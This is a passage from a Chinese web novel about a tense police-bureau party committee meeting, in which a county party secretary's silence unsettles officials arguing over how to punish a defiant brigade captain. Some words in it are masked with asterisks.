江昭宁依旧端坐着,背脊挺直,双手交叠放在光洁的桌面上,指尖微微相抵。
他的脸如同戴上了一副精雕细琢的面具,面沉似水,深邃的眼眸低垂,目光落在桌面的某个点上,又似乎穿透了桌面,落入了更深的虚空。
那是一种彻底的、令人心悸的沉默。
没有赞许,没有反对,没有愤怒。
甚至没有一丝被打扰的不耐。
只有一种深不见底的平静,像暴风雨来临前气压最低的时刻,蕴含着未知的、足以令人窒息的能量。
刘博文的话语在这片死寂中显得格外苍白无力,甚至有些突兀。
他张了张嘴,看着江昭宁那张毫无表情的脸,后面的话再也说不出口,尴尬地僵在那里,额角也渗出了汗。
他感觉自己的解释不仅没有起到缓和作用,反而像是在火上浇油——虽然这“火”被一层厚厚的冰包裹着,看不见,却寒彻骨髓。
李国栋在一旁听得早已不耐烦。
李国栋看到刘博文这番和稀泥的表态,再看看江昭宁那毫无回应的冷脸,瞬间觉得政委这种试图保乔国良的做法简直蠢到家了,甚至是在往**的枪口上撞!
他狠狠瞪了刘博文一眼,眼神里充满了责备和“不识时务”的意味,那目光仿佛在说:“都什么时候了,替他说好话?你脑子进水了吗?”
他猛地刻意拔高声调,“刘政委!你别在这里和稀泥!什么业务能力,什么直性子?这就是赤裸裸的目无领导!”
“是对组织权威的公然挑衅!”
李国栋仿佛越说越义愤填膺,声音带着刻意的激愤,“你看他那股邪气冲天、桀骜不驯的样子!”
“我没有说错,他就是长期跟那些三教九流、穷凶极恶的**打交道太久了,潜移默化!耳濡目染之下,心性都跟着歪了!”
“沾染了一身的江湖**气,那股子匪气都刻在骨头里了!”
“根本没把我们党的纪律、**机关的规矩放在眼里!这样的人,哪里还有半点人**察的样子?”
“乔国良的问题,是原则问题!
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是态度问题!是对抗组织、藐视领导权威的严重**问题!”
他转向江昭宁,语气更加坚定,带着一种不容置疑的请示意味,“江**,我坚持我的意见!”
“对于这种害群之马,必须旗帜鲜明地亮剑!”
“不能因为他个人有点能力就网开一面,否则,规矩何在?”
“我再次郑重提议,立即召开党委会,就如何处理乔国良同志的问题进行表决!”
“必须拿出一个让他终身难忘的处分,以儆效尤!”
“请江**批准!”
李国栋的声音在安静的办公室里显得格外洪亮,每一个字都像重锤敲击着地面。
他挺直腰板,等待着江昭宁的最终裁决,眼神中充满了执行命令的迫切。
终于,那令人窒息的沉默被打破了。
江昭宁缓缓抬起眼眸。
他的动作很慢,仿佛每一个细微的移动都经过了深思熟虑。
那目光如同深秋的潭水,平静无波,却带着一种穿透人心的凉意,缓缓扫过李国栋急切的脸,又掠过刘博文紧张不安的神情。
他的脸上依旧没有任何情绪波动,连嘴角的肌肉都未曾牵动一下。
他只是用那平静到极致的声音,清晰地吐出了几个字:“同意!我也参加。”
这句话声音不高,却如同冰锥落地,瞬间冻结了李国栋脸上的急切,也让刘博文的心猛地一沉。
这句话轻飘飘的,却重逾千斤。
“是!”李国栋几乎是条件反射般地立正应声,声音洪亮,但仔细听,能听出一丝不易察觉的紧绷。
县委**要亲自列席县**局的党委会,议题是处理一个刚刚顶撞了他的大队长。
这绝不是简单的“关注”,而是某种更深层次的信号!
处理轻了,显得软弱无能;处理重了,**是否别有深意?是否符合他的本意?
这会议的重量、风向瞬间变得扑朔迷离、压力陡增!
它意味着,这已不仅仅是一个县局内部处理刺头的问题了。
这背后的分量和可能引发的连锁反应.
让李国栋和刘博文都感到了前所未有的巨大压力。
这本身就传递了一个极其强烈的信号——江**对这件事极度重视,处理结果必须让他满意。
第76章 震怒?
他感到一股寒意从脊椎升起,瞬间驱散了刚才的激动和愤怒,取而代之的是巨大的责任感和一丝难以言喻的惶恐。
**亲自参加,这会议的性质和规格瞬间拔高了数个层级,容不得半点差池。
他必须确保会议过程顺利,结果……必须符合**的预期。
他立刻转向旁边脸色发白的刘博文,语气急促,带着不容置疑的命令口吻:“政委!别愣着了!立刻通知所有在家党委成员!”
“半小时后,不,二十分钟后!紧急党委会!”
“地点就在局党委会议室!一个都不能缺席!”
“就说……就说江**有重要指示!”李国栋刻意加重了“江**”和“重要指示”几个字,意图不言自明。
刘博文像是被惊醒了一般,身体微微一震。
他看着李国栋急切的眼神,又飞快地瞥了一眼端坐如山、面沉似水的江昭宁。
后者的目光似乎正落在他身上,又似乎只是空洞地望着前方,但那无形的压力却如同实质般笼罩着他。
他张了张嘴,似乎还想说什么.
但最终,所有的话都咽了回去。
他知道,此刻任何多余的话都是徒劳,甚至是危险的。
“……好吧。”刘博文的声音有些干涩,带着深深的无奈和沉重。
他艰难地吐出这两个字,仿佛用尽了全身力气。
他不再看任何人,深深地吸了一口气,转身向门口走去。
他的步伐显得有些虚浮和沉重,仿佛脚下不是光洁的地板,而是泥泞的沼泽。
那身笔挺的警服,此刻似乎也承载了难以言说的重量。
厚重的大门再次被拉开。
门,再次在他身后沉重地关上。
“咔哒”一声轻响,如同落锁。
室内,彻底陷入了死寂。
只剩下两个人。
李国栋依旧保持着立正的姿态,但肩膀微微塌陷下去,额头上的汗珠更加明显。
他微微侧身,小心翼翼地用眼角的余光观察着江昭宁。
这位年轻的县委**依旧保持着刚才的姿势,纹丝不动,像一尊没有生命的雕塑。
只有他那双深邃的眼睛,此刻似乎聚焦在桌面上方虚无的一点,瞳孔深处仿佛有幽微的光芒在流转,那是高速运转的思维和难以揣测的权衡。
他在想什么?
是对乔国良不识抬举的震怒?
还是对整个事件背后更深层次问题的考量?
这种深不可测的沉默,比任何雷霆震怒都更让李国栋感到惶恐不安.
仿佛自己正赤脚站在即将破裂的薄冰之上,冰层下是深不见底、暗流汹涌的寒潭。
他甚至连大气都不敢喘,只能垂手肃立.
等待着**下一步的指示,或者,仅仅是等待这令人窒息的沉默结束。
办公室的时间仿佛凝固了。
窗外城市的喧嚣被厚重的玻璃和窗帘隔绝,只剩下空调系统发出单调而低沉的嗡鸣,像一头蛰伏巨兽的心跳,规律地敲打着令人心悸的节奏。
墙壁上悬挂的巨大警徽,在顶灯照射下反射着冷硬的光芒,无声地注视着这间权力漩涡中心的房间,以及房间里两个心思各异、却同样被无形的压力束缚住的人。
暴风雨,似乎已经随着乔国良的离去和刘博文的通知而酝酿完成,只等那党委会议室的大门打开,便要轰然降临。
而此刻这间办公室里的死寂,正是那风暴眼中,最令人胆寒的平静。
毕竟是准军事化管理的单位,党委成员们接到“江**莅临、有重要指示”的通知,无异于一道不容置疑的紧急集合令。
下班时间?
那只是个概念。
家近在咫尺?
此刻也必须抛在脑后。
人人心中都绷紧了一根弦,**亲临局党委会,这本身就透着非同寻常的气息。
更何况还关联着刚刚内部已隐隐传开的“乔国良事件”——那位以硬骨头著称的大队长,似乎捅了大篓子。
不到十五分钟,急促的脚步声便纷纷汇聚到局党委会议室门口。
每个人都步履匆匆,脸上带着来不及掩饰的紧张和凝重,互相之间只交换一个心照不宣的眼神,便鱼贯而入。
会议室里,顶灯全部打开,照得纤尘毕现,椭圆形会议桌主位肃然端坐着江昭宁。
他的左右两侧,分坐着李国栋和刘博文。
李国栋脸色铁青。
刘博文则垂着眼睑,手指无意识地摩挲着面前的会议记录本,神情复杂难辨。
空
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气凝重得几乎能拧出水来。
党委委员们各自迅速找到自己的位置落座,动作轻巧,生怕弄出一点多余的声响。
有人悄悄调整了一下座椅,声音在寂静中显得格外刺耳,引来几道责备的目光。
整个会议室里只剩下空调系统低沉的嗡鸣,以及彼此压抑的呼吸声。
所有人的目光,都或明或暗地聚焦在主位那不动如山的身影上.
又小心翼翼地瞥向主持会议的李国栋,试图从这两位核心人物的表情中捕捉一丝端倪。
乔国良的名字像一块沉重的石头,压在每个人的心头——他到底做了什么?
**的“重要指示”又是什么?
李国栋深吸一口气,仿佛要将胸中翻腾的怒火和急于表现的冲动都压下去,又像是给自己鼓劲。
他环视了一圈在座的党委委员,目光刻意在几个平日里与乔国良关系尚可的人脸上多停留了一瞬.
然后猛地一拍桌面——声音不大,却像惊雷般在寂静中炸响,震得几个委员肩膀微微一缩。
“同志们!”李国栋的声音带着一种刻意拔高的激愤,每一个字都像是从牙缝里挤出来,“就在今天下午,就在我们这栋大楼里,发生了一起性质极其恶劣、影响极其严重的事件!”
他刻意停顿,让“事件”二字在每个人耳边回荡。
“乔国良同志,在江**找他谈话期间,公然顶撞**!”
“其态度之蛮横,言辞之无礼,行为之放肆,简直……简直令人发指!”
李国栋的胸膛剧烈起伏,仿佛亲历了那场冲突的每一个细节,此刻仍余怒未消,“我进去的时候,那股邪气!那股桀骜不驯、目中无人的匪气!简直是冲天而起!”
“都刻在骨头里了!哪里还有半分对组织的敬畏?哪里还有半分对领导的尊重?!”
他的描述极具画面感和煽动性,仿佛乔国良当时不是站着说话,而是拍案而起、怒目而视。
党委成员们屏住呼吸,虽然早有心理准备,但听到局长亲口用如此激烈的言辞证实,还是感到一阵心惊肉跳。
顶撞县委**?
这在他们这个层级,简直是不可想象的“大逆不道”。
是个人都不会这样干!
第77章 顶撞**?
“我们党的纪律在哪里?我们**机关铁的规矩在哪里?”李国栋的声音陡然拔高,充满了痛心疾首的质问,“在他乔国良眼里,还有没有组织原则?还有没有上下级观念?!”
“他以为自己是谁?是占山为王的土匪吗?!”
“这股歪风邪气如果不刹住,我们**局成什么了?”
他越说越激动,手指重重地敲击着桌面,发出沉闷的笃笃声,每一次敲击都像是在给乔国良的“罪行”加码:“这已经不是简单的态度问题了!这是原则问题!”
“是立场问题!是公然对抗组织、藐视领导权威的严重**问题!”
“**问题”四个字,如同烧红的烙铁,烫得在座所有人心头一颤。
在体制内,一旦上升到“**问题”的高度,性质就完全不同了,处理起来也绝无回旋余地。
每个人都感觉到一股寒意从尾椎骨直冲头顶。
震惊已经不足以形容大家此刻的感受。
匪气?刻在骨头里?这指控简直是“****”!
这已经不是简单的批评教育,而是要从根子上把乔国良彻底钉死在耻辱柱上!
会议室内的温度仿佛瞬间又降低了几度,连空调的冷风都显得更加刺骨。
有几位委员下意识地挪了挪身体,坐得更直了些,眼神也更加凝重。
李国栋看着众人脸上变幻的神色,知道自己想要的效果正在达成。
他心里想的是一箭双雕,即维护了江昭宁的威信,又借力打力,利用县委**的威压,将乔国良这个眼中钉,肉中刺清除。
原来三番五次想对他动手,可是有刘博文罩着,也一时找不出过硬的理由拿掉他。
今天是最好的机会,不容错过!
“这样的行为,不处理,不足以正视听!”
“不严惩,不足以肃纲纪!”李国栋斩钉截铁地给出结论,声音洪亮得在四壁间嗡嗡回响,“因此,今天紧急召开党委会,核心议题只有一个!就是研究对乔国良的严肃处理意见!”
他稍作停顿,目光投向上首的江昭宁,语气转为请示汇报的恭敬,但内容却更具目的性:“处理,不仅仅是为了惩戒个别人!”
“更是为了以此为镜鉴!”
“在事件还在发酵、影响尚未消除的第一时间,用最严厉的措施形成最强大的震慑!警醒和教育全县每一位**干警!”
“必须拿出一个足以震慑歪风、匡扶正气的处理意见!”
“所以,我建议,党委会立即形成关于其严重问题的初步书面报告,确定处理意见报县委!”
“免职、调离、辞退,甚至是清除出**队伍!都是可能的选项。”
“一切以从严从重为基本原则!”
“决不姑息!”
李国栋深吸一口气,图穷匕见,指向了整个队伍:“然后,我局要以此为起点,应该立刻着手筹备,在全县**系统开展一场深刻的整风肃纪运动!”
“要刮骨疗毒!要猛药去疴!”
“要彻查我们队伍中存在的类似乔国良这种目无组织、骄横跋扈的歪风邪气!”
“要彻底祛除一切可能沾染我们队伍的‘江湖气’、‘匪气’!重塑忠诚、干净、担当的人**察形象!”
“绝不能让一颗老鼠屎坏了一锅汤!”
“只有这样,才能挽回恶劣影响,挽回组织信任!”
李国栋最后的结束语异常高亢,充满了“力挽狂澜”的决心。
他的胸膛微微起伏,显然这番慷慨陈词消耗了巨大的心力。
说完,他如释重负又略带期待地看向江昭宁,等待这位东山一号人物的最终表态。
在他看来,他的发言滴水不漏,既旗帜鲜明地站在了**一边,又提出整顿全县**干警队伍的建议。
**应该满意了。
“哗——”
尽管极力克制,李国栋这番措辞严厉、定性严重的发言,还是在与会者中引起了一片难以抑制的低低哗然。
听到局长如此旗帜鲜明、上纲上线地提出“严肃处理”甚至“整风运动”,冲击力还是超乎想象。
顶撞**?
所有的党委成员,无论是与乔国良交好还是疏远,此刻心中都翻腾着同一个念头:乔国良这是疯了吗?吃错药了还是被灌了**汤?
那可是掌握着他们所有人**生命走向的绝对权威!
向县委**平时汇报工作,谁不是战战兢兢、字斟句酌?
别说顶撞,就是语气稍有不慎,都得在心里反复掂量几天。
乔国良这哪是顶撞?
这简直是在拿自己的**生命,甚至职业生涯当赌注,玩火**!
“匪气刻在骨头里”?李局长这形容虽然刻薄,但细想乔国良平日办案那股子六亲不认、只认死理的狠劲儿,似乎……还真有那么点意思。
只是这股狠劲儿用在了犯
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罪分子身上是尖刀利刃,用在了县委**身上……那就是自寻死路的愚蠢!
他真以为这是在他们县局内部,可以凭着一股子蛮劲和功劳簿横冲直撞?
这可是在县委一把手面前!
是龙得盘着,是虎得卧着的地方!
政委怕是也罩不了他了!
不少人下意识地将目光投向刘博文。
这位政委平时与乔国良私交甚笃。
以往乔国良惹出些不大不小的麻烦,往往是刘政委出面斡旋,大事化小。
可这次……性质完全不同了!
江**亲自坐镇党委会,李国栋又摆出一副不处理乔国良誓不罢休的架势,这压力犹如泰山压顶。
刘博文刚才一言不发,脸色灰败,那欲言又止、最终化为一声沉重叹息的样子,所有人都看在眼里。
他自身恐怕都难保不被牵连,哪里还有余力去保乔国良?
所谓的情谊,在这股滔天巨浪面前,脆弱得不堪一击。
会议室内陷入了短暂的、令人窒息的沉默。
只有纸张翻动、茶杯轻放、以及空调持续送风的微弱声响。
每个人都在消化着这**性的信息,也在飞速地权衡着自己的立场和表态。
如何处理乔国良?
是象征性地给个警告处分敷衍了事?
还是如李局长所言,必须“严肃处理”,甚至停职、调离、辞退?
不,李局长的话“一切以从严从重为基本原则!决不姑息!”,说白了,其实就是开除,清除**队伍。
其他的什么选项都是陪衬。
没有人敢轻易开口。
第一个发言者,必然会被视为某种风向标,承受巨大的压力。
他们目光在**、局长、政委之间小心翼翼地逡巡,试图捕捉哪怕一丝一毫的暗示。
江昭宁对李国栋急于表现的不置可否。
他依旧面无表情地坐在主位,仿佛一尊隔绝了所有情绪波动的神祇。
他微微垂着眼睑,目光似乎落在自己交叠的双手上,又似乎穿透了桌面,落入了更深的思虑。
李国栋慷慨激昂的控诉,党委委员们的震惊和沉默,似乎都未能在他古井无波的面容上激起半分涟漪。
这种深不可测的平静,比任何疾言厉色都更让人心头发毛。
他到底在想什么?
是对乔国良的彻底失望?
还是对整个局领导班子掌控力的重新评估?
第78章 你具体指什么?
李国栋见气氛酝酿得差不多了。
他清了清嗓子,打破了沉默,声音恢复了主持会议的程式化,却带着不容置疑的引导:“情况就是这样。乔国良同志的错误是严重的,影响是恶劣的。”
“现在,请各位党委委员本着对组织负责、对队伍负责、对事业负责的态度,发表意见。”
“对于如何处理乔国良同志的问题,以及如何开展整风运动,请大家积极建言献策。”
他的目光锐利地扫过每一个人,那眼神分明在说:该表态了,而且,必须旗帜鲜明。
压力,如同实质般沉甸甸地压在了每一个党委委员的肩头。
发言的顺序、措辞的分寸、态度的拿捏……每一步都如履薄冰。
第一个发言的人,会是谁?
又会说出怎样的话?
所有人的目光,开始不由自主地投向那几个在局里资历较老、或者平日里相对敢言的委员身上。
刘博文坐在江昭宁的右边,整个过程头颅低垂得几乎要埋进胸口,仿佛要钻进桌子底下去。
他放在桌下的双手,无意识地、极其缓慢地转着一支没有墨水的签字笔。
作为政委,作为局党委副**,此刻的他无比尴尬。
反驳李国栋?
那意味着对抗**,甚至比乔国良更愚蠢!
附和?
那等于亲手将破案主心骨送上绝路!
他只能沉默,用沉默对抗这几乎要碾碎他灵魂的巨大压力。
汗水沿着他的鬓角悄然滑落,他却毫无知觉。
桌上的笔记本摊开着,除了抬头会议名称和时间,一片空白。
就在这令人屏息的时刻,坐在角落负责会议记录的年轻科员,因为紧张,钢笔尖在记录本上轻轻一滑,发出“嗤”的一声微响。
这声音在绝对的寂静中被无限放大,吓得他手一抖,差点把本子掉在地上。
他慌忙抬头,正对上江昭宁似乎无意间瞥过来的目光——那目光依旧平静,却像探照灯一样,瞬间让他后背的冷汗浸透了衬衫。
风暴的中心,江昭宁的嘴角,似乎极其细微地、无人察觉地向下牵动了一下,快得如同错觉。
然后,这位年轻的**轻轻抬起右手,只用食指和中指的指关节,在身前的乌木桌面上,极其轻微、缓慢而清晰地叩击了两下。
“笃、笃。”
声音很轻,几乎微不可闻。
却如同惊雷炸响在李国栋耳边,让正热切等待他赞赏和支持的他瞬间浑身僵硬,脸色唰地一下白。
江**这是…什么意思?
不满?没听清?
还是对某个措辞有异议?
就在李国栋因为这两声微不可闻的叩击而心胆俱裂、脑袋一片空白,绞尽脑汁试图理解其中深意时,江昭宁开口了。
他的声音依旧不高不低,平淡无波,“国栋同志,刚才你说的,‘这股邪气冲天、桀骜不驯的样子……’”
江昭宁的声音在这里微妙地停顿了一下。
接着,他仿佛觉得不够,又自然地接上另一个李国栋精心选择的、的词:“还有,这个……刻在骨头里‘这股子匪气’……”
江昭宁的目光从李国栋因为极度紧张而开始扭曲的脸上缓缓移开,投向虚空中的某一点。
他的语气带着一丝极淡的、几乎无法察觉的探讨意味,“国栋同志,我想听听你进一步的想法。”
他身体微微前倾,那双深不见底的眼眸终于落在了李国栋冷汗直冒的脸上,平静地追问:“你具体指什么?”
“……”
李国栋张着嘴,像条离水的鱼,喉咙里发出嗬嗬的怪声,却一个字也吐不出来!
他脸色从煞白迅速涨成猪肝紫,巨大的汗珠瞬间渗出,沿着鼻翼两侧滚滚滑落,砸在他紧扣桌面的手背上。
什么叫“具体指什么”?**难道觉得我对乔国良的指控有夸张成分?
或者…他在质疑我“定性”的准确性?
冷汗瞬间浸透了李国栋的衬衣后背。
他脑中一片轰鸣。
他刚才那些慷慨激昂的控诉,那些为了表忠心而不惜用上的最刻毒、最严厉的词汇,此刻**昭宁用最平淡的语气复述出来追问细节,却显得如此虚张声势、如此…苍白无力!
难道…**根本不是想严惩乔国良?
难道我之前那番投其所好的表态…完全拍在了马蹄子上?!
这突如其来的反转让李国栋措手不及,灵魂仿佛被抽空,大脑一片空白,精心构筑的逻辑链条瞬间崩塌!
就在李国栋魂飞天外、僵立当场、内心被巨大恐惧吞噬之时,江昭宁没有再给他任何缓冲和组织语言的机会。
他的目光从彻底失语的李国栋身上缓缓移开,再次如同探照灯般,掠过会议室里所有呆若木鸡的脸。
这一次,他的目光更加深晦莫测。
他再次开口,语速极其缓慢,声音不高,却清晰地回荡在寂静到能听见心跳声的会议
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室里:“我想听听——”
声音在这里停顿。
所有人都屏住了呼吸,等待着“**的指示”。
江昭宁的视线在每一张或惊愕、或茫然、或极度紧张的脸上略作停留。
最终似乎无意地扫过一直垂首沉默、如同不存在的刘博文,然后才一字一顿地继续道:“……在座的各位党委委员。”
他停顿了一下,确保每一个字都落进了所有人的耳朵:“……对这个问题的看法。”
最后几个字一出,会议室的气氛瞬间陡变!
那无形的威压非但没有消散,反而更加沉凝!
如同被压缩到极限的弹簧,蕴含着巨大的势能,却不知将弹向何方!
“你们……”江昭宁的声音变得更加缓慢,几乎是在用气声说话,却带着摄人心魄的力量,“有不同的意见吗?”
整个空间瞬间冻结。
李国栋如同被瞬间抽走了骨头,身体晃了晃,近乎虚脱地瘫软在椅子里,脸色死灰。
他那套精心设计的、打算以雷霆手段处置乔国良这个早想拔掉的眼中钉并借此邀功的计划,此刻在**平淡的追问中彻底瓦解。
刚才还附和着小声议论或为李国栋叫好的几个成员,瞬间噤若寒蝉,死死低着头,恨不得把脑袋缩进胸腔里!
开玩笑,这种时候谁还敢说有“不同意见”?
去反驳李国栋还是去反对**?
那不是找死是什么?
可附和?
谁敢保证**那句话问的不是另有深意?
纪委**赵志试图端起茶杯掩饰颤抖的手,杯盖却发出一连串细小而急促、如同惊鸟振翅的“叮叮”脆响,在这片死寂中被无限放大。
他尴尬地停下动作,喉头费力地滚动了一下。
更多的人则是集体上演“鸵鸟战术”——把头颅深深埋下去,恨不能钻进桌肚里。
有低头看笔记本的,有假装被突然的喷嚏刺激而揉弄通红的鼻子的……
所有人都屏息凝神,极力降低自己的存在感,生怕被主席位上那道平静却锐利的目光捕捉到一丝波澜。
每个人的神经都绷到了极限。
会议室里一片死寂,只剩下空调送风口吹出的冰冷气流声,以及某些人心脏疯狂擂动胸腔的隐响。
灯光惨白地打在每一张表情复杂、眼神惊疑不定的脸上。
刘博文那一直缓慢转动笔的手,在江昭宁问出那句“有不同的意见吗?”时,猛地一僵!
第79章 我有话说!
那支签字笔在他指间被捏得几乎变形。
刘博文那几乎要把鼻尖埋到桌面上的头颅,以极其微小、几乎难以察觉的幅度抬起了一丝丝。
他那双原本黯淡、充满挣扎和痛苦的眼睛深处,如同在伸手不见五指的深海里,猛然看到了穿透万丈深渊、来自遥远海面的……一线极其微弱、却带着温度的波光。
这一线光茫稍纵即逝,快得让他自己都怀疑是否是错觉。
他眼角的余光,极其小心地、缓慢地,沿着桌面的边缘向上挪动,试图捕捉主席位上的反应。
心跳,不由自主地,漏了一拍。
空气凝固得让人窒息,时间仿佛被拉长到一个令人痛苦的程度。
那份沉甸甸的寂静压在每个人胸口,等待着一个打破沉默的声音,一个指向下一步方向的手势。
然而,主位上的江昭宁,只是安静地坐在那里,如同一座散发着无形吸力的深渊。
他脸上没有任何波澜,视线在会议室里缓缓移动,如同一位经验丰富的考古学家,在用目光耐心地、细致地“清理”着每一张面孔上呈现的不同形态。
就在这时,一个略显突兀的声音划破了这令人窒息的宁静。
“江**,我有话说!”
是刘博文。
他猛地举起了手,动作幅度不小,带动了身下的椅子发出一声轻微的“吱呀”声。
“唰!”
刹那间,所有的目光,如同被无形的磁石吸引,齐刷刷地聚焦在他身上。
惊愕、疑惑、探究、甚至带着一丝看戏意味的复杂情绪,在每一双眼睛里闪烁。
李国栋的眉头瞬间拧成了疙瘩,眼神锐利如刀,直刺刘博文。
赵志则下意识地缩了缩脖子,仿佛想把自己藏进椅背里。
其他几位党委委员的表情也瞬间僵住,空气里的紧张感陡然升级,几乎能听见噼啪作响的电火花。
江昭宁终于抬起了头。
他的动作不疾不徐,带着一种上位者特有的从容,甚至可以说是漠然。
那双深不见底的眼睛缓缓抬起,目光平静地落在刘博文脸上,像深潭水面上掠过的一缕风,不起波澜。
他的声音不高,却清晰地穿透了寂静,“你有什么话说?”语调平淡,听不出任何情绪。
刘博文感到自己的心脏在胸腔里擂鼓般撞击。
他深吸一口气,强迫自己镇定下来。
但开口时,声音还是带上了一丝不易察觉的紧绷:“江**,我认为,如果要开除乔国良同志,那必须要有他重大违法乱纪的确凿事实作为依据。”
“根据目前我们掌握的情况,没有这样的证据。”
他顿了顿,目光扫过众人,最后重新落回江昭宁脸上,语气变得更加坚定,“退一步讲,即便是要辞退他,或者将他调离**机关,也需要有相应的、足以支撑这个决定的违法违纪事实,或者有充分的事实证明他确实不再适合从事**工作。”
“这是组织原则,也是对同志负责。”
会议室里鸦雀无声。
刘博文的话像一块投入死水的石头,激起了巨大的、无声的涟漪。
李国栋的脸色瞬间阴沉得能滴出水来,放在桌下的手紧握成拳。
他万万没想到,在这个**明显不悦、大家噤若寒蝉的时刻,刘博文竟敢跳出来唱反调,而且是如此旗帜鲜明地维护乔国良!
刘博文清晰地感受到来自李国栋方向的冰冷视线和来自江昭宁方向的巨大压力。
他舔了舔有些发干的嘴唇,继续陈述,声音里带上了一份小心翼翼的斟酌:“现在,唯一能明确拿出来说的,就是他……他对**您不够礼貌,言语上确实有顶撞,造成了不好的影响。”
他微微停顿,观察着江昭宁的反应。
江昭宁依然面无表情,只是那支转动的笔停了下来,被他轻轻握在手中。
“所以,”刘博文的声音放得更低,也更恳切,“我个人认为,基于现有的情况,给予必要的纪律处分,就足够让他深刻反省,长足记性了。”
“这样既能维护纪律的严肃性,也能体现组织对干部的挽救和教育。”
“哦?”江昭宁的眉梢极其细微地挑动了一下,几乎是微不可
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察。
他身体微微前倾,目光如同探照灯般锁定刘博文,那平淡的语调里终于带上了一丝难以捉摸的意味,“给什么纪律处分?”
这简单的问话,却像一块巨石压在了刘博文的心口。
他能感觉到周围的目光更加灼热了。
政委与局长的观点,一个主张处分,一个主张开除,这简直是天上地下,相差何止十万八千里?
他此刻提出的任何具体处分建议,都像是在李国栋熊熊燃烧的怒火上浇油,也是在试探江昭宁那深不可测的底线。
刘博文咬了咬牙,口腔里甚至尝到了一丝铁锈味。
他知道自己这一步踏出,可能就再也没有回头路。
但他不能退缩,这不仅是为了乔国良,也是为了某种他认为必须坚持的原则和底线。
他迎着江昭宁的目光,清晰地吐出几个字:“给予诫勉谈话即可!”
“嘶……”
会议室内响起一片极力压抑的倒抽冷气声。
其他的党委成员们彻底愕然了,一个个目瞪口呆,几乎忘记了呼吸。
诫勉谈话?!
这几乎是党内最轻的一种处理方式,通常用于提醒、告诫存在苗头性、倾向性问题的干部。
在顶撞县委**这样“严重”的事件面前,政委居然只提议诫勉谈话?
这和局长李国栋力主的“坚决开除”,简直是云泥之别!
这……这**能答应吗?
所有人的心都提到了嗓子眼。
江昭宁**虽然平时看起来温文尔雅,但谁都知道他手腕强硬,心思深沉。
他一旦发怒,后果不堪设想。
众人看向刘博文的目光充满了复杂的情绪——有敬佩他敢言的,有觉得他愚蠢的,但更多的是深深的担忧和恐惧。
局长李国栋可是还兼着副县长的职务,那是市管干部,要动他,程序复杂,阻力不小。
可是你刘博文,一个正科级的县局政委,**要动你,那还不是跟摁死一只蚂蚁一样简单?
一个电话,随便找个由头,就能让你从**局卷铺盖走人,甚至更糟!
第80章 点名!
李国栋只觉得一股邪火直冲脑门,肺都要气炸了!
妈的,刘博文!
他心中破口大骂。
这家伙眼看江昭宁没有立刻表态支持开除,态度似乎有些暧昧不明,就想火中取栗,投机一把?
用这种轻飘飘的“诫勉”来讨好**,显示自己的“公正”和“仁慈”?
做梦!
我今天就是要借**的势,彻底清除掉乔国良这个刺头,更要借此狠狠打击你刘博文在局里的威信!
乔国良那混蛋,仗着有你刘博文在背后暗中撑腰,平常查案、开会,哪次不是夹枪带棒,让我下不来台?
这口气,我憋得太久了!
李国栋的视线在会议桌上逡巡。
最终牢牢锁定了坐在斜对面的赵志。
赵志此刻正低着头,恨不得把脑袋埋进面前的笔记本里,手指无意识地抠着桌沿。
李国栋眼中闪过一丝狠厉,他不能再让刘博文带节奏了!
必须立刻把赵志这个摇摆不定的墙头草逼出来表态,把水搅浑,把压力重新给到刘博文那边。
他清了清嗓子,声音陡然拔高,带着一种不容置疑的命令口吻,目光如炬地钉在赵志身上:“赵志**!”
这一声点名,如同惊雷在寂静的会议室炸响。
赵志浑身猛地一哆嗦,像被电流击中,差点从椅子上弹起来。
他抬起头,脸色煞白,额头上瞬间渗出了一层细密的冷汗。
完了!
李国栋这是当着江**的面点将了!
把自己架在火上烤!
自己再也无法做埋头躲避的鸵鸟了。
“你是纪委**,主管**监察工作!”李国栋的声音咄咄逼人,每个字都像重锤敲在赵志心上,“在这决定如何严肃处理违纪行为、维护县委领导权威的关键时刻,你的态度,可不能含糊其辞!”
“必须旗帜鲜明!”
“我……我……”赵志结结巴巴,舌头像是打了结。
他感觉所有人的目光,尤其是江昭宁那看似平静实则重逾千斤的目光,都聚焦在自己身上,让他如芒在背,几乎窒息。
巨大的恐惧攫住了他。
局长李国栋是绝对不能得罪的,他背后站着的就是江**,**刚才虽然没明说,但倾向性似乎很明显。
可政委刘博文的话……也不是完全没有道理。
而且他敢在这种场合提出来,万一**内心其实也认同“过犹不及”呢?
刘博文的话,是不是只是尺度上有些过头?
自己如果完全倒向李国栋,会不会也显得太……不讲原则了?
冷汗顺着赵志的鬓角流下来,他感觉后背的衬衫已经湿透了,紧紧贴在皮肤上。
他大脑飞速运转,在巨大的**风险中寻找着一丝可能的安全地带。
他必须表态,必须说出一个既能向李国栋靠拢、显示立场坚定,又似乎比刘博文的“诫勉”更重一些、不至于显得自己完全无视**威严的方案。
最好还能和刘博文的“原则”沾点边,给自己留条后路……
时间一秒一秒过去,每一秒都像一个世纪那么漫长。
赵志的喉咙干涩发紧,他艰难地咽了口唾沫,感觉自己的声音都变了调:“我……我看这样吧。”
他舔了舔干燥的嘴唇,声音带着明显的颤抖,“处理,是一定要处理的!”
“这是原则问题!必须严肃处理!”他先强调了立场,然后话锋一转,试图拔高高度,“大家想想,对**……对**都敢这样,那对**……不,不!对……对老百姓会好?会是什么态度?”
“**”二字一出口,赵志自己先吓了一大跳,魂飞魄散!
天哪!自己怎么能在这种场合,把**和**放在一个句子里比较?!
这简直是找死!
他瞬间惊出了一身白毛冷汗,心脏狂跳得几乎要从嗓子眼里蹦出来。
赵志的脸色由白转青,慌忙补救,语无伦次地修正:“我的意思是……我的意思是顶撞**,此风绝不可长!”
“这关系到县委的权威,关系到我们整个队伍的纪律性和执行力!”
“必须从严惩处,以儆效尤!”
他喘了口气,终于抛出了自己绞尽脑汁想出来的“折中”方案,声音带着劫后余生的虚弱,“所以……所以,我建议,给予乔国良同志……党内严重警告处分!”
说完,他像虚脱了一般,后背重重地靠在了椅背上,偷偷地、极其迅速地抬起眼皮,用尽全身力气,极其隐蔽地瞄了一眼主位上的江昭宁。
这一眼,充满了恐惧、乞求和极度的不安。
**
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自己的“折中”是救命稻草,还是压垮自己的最后一根稻草。
江昭宁依旧面无表情。
他听完赵志磕磕绊绊、惊魂未定的发言,目光在刘博文、李国栋、赵志三人的脸上缓缓扫过,那眼神深邃得如同寒潭。
他既没有对刘博文的“诫勉”表示赞同,也没有对李国栋的“开除”论调加以肯定,同样没有对赵志的“严重警告”做出任何评价。
时间仿佛再次凝固。
会议室里的空气沉重得如同水银,每一次呼吸都变得异常艰难。
所有人的心都悬在半空,等待着最终的裁决。
只见江昭宁缓缓地放下了那支一直握在手中的签字笔。
